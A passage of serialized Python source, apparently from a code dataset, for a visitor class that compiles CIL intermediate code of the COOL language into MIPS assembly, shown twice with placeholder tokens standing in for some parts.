{}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n 